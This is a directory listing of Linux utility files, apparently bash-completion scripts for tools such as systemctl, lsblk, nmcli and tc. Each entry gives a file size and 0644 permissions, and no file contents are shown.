localectl File 3.25 KB 0644
logger File 1.52 KB 0644
loginctl File 4.05 KB 0644
look File 683 B 0644
losetup File 1.7 KB 0644
lsblk File 2.1 KB 0644
lscpu File 1.04 KB 0644
lsinitrd File 2.07 KB 0644
lsipc File 1.28 KB 0644
lsirq File 816 B 0644
lslocks File 1.06 KB 0644
lslogins File 1.71 KB 0644
lsmem File 1.04 KB 0644
lsns File 1.16 KB 0644
mcookie File 599 B 0644
mesg File 412 B 0644
mkfs File 659 B 0644
mkfs.cramfs File 839 B 0644
mkfs.minix File 749 B 0644
mkswap File 876 B 0644
mokutil File 1.16 KB 0644
more File 752 B 0644
mountpoint File 498 B 0644
namei File 500 B 0644
nmcli File 3.98 KB 0644
nsenter File 1.16 KB 0644
ownership File 591 B 0644
p11-kit File 674 B 0644
partx File 1.27 KB 0644
pip3 File 291 B 0644
pivot_root File 387 B 0644
prlimit File 1.3 KB 0644
readprofile File 679 B 0644
rename File 669 B 0644
renice File 784 B 0644
resizepart File 605 B 0644
rev File 432 B 0644
rfkill File 944 B 0644
rtcwake File 1.06 KB 0644
runuser File 892 B 0644
script File 1.04 KB 0644
scriptlive File 762 B 0644
scriptreplay File 917 B 0644
semanage File 6.76 KB 0644
setarch File 790 B 0644
setpriv File 2.77 KB 0644
setsebool File 2.74 KB 0644
setsid File 440 B 0644
setterm File 2.53 KB 0644
sfdisk File 2.07 KB 0644
su File 892 B 0644
swaplabel File 635 B 0644
swapoff File 743 B 0644
swapon File 1.96 KB 0644
systemctl File 13.85 KB 0644
systemd-analyze File 7.14 KB 0644
systemd-cat File 1.68 KB 0644
systemd-cgls File 2.2 KB 0644
systemd-cgtop File 2.19 KB 0644
systemd-cryptenroll File 3.23 KB 0644
systemd-delta File 1.75 KB 0644
systemd-detect-virt File 1.32 KB 0644
systemd-id128 File 2.09 KB 0644
systemd-path File 1.7 KB 0644
systemd-run File 5.39 KB 0644
taskset File 1.18 KB 0644
tc File 26.3 KB 0644
timedatectl File 2.95 KB 0644
tracker3 File 987 B 0644
trust File 2 KB 0644
tuned-adm File 604 B 0644
udevadm File 9.66 KB 0644
ul File 655 B 0644
unshare File 936 B 0644
utmpdump File 475 B 0644
uuidgen File 657 B 0644
uuidparse File 727 B 0644
vpddecode File 809 B 0644
wall File 634 B 0644
wdctl File 1.34 KB 0644
whereis File 535 B 0644
wipefs File 1.21 KB 0644
write File 431 B 0644
zramctl File 1.26 KB 0644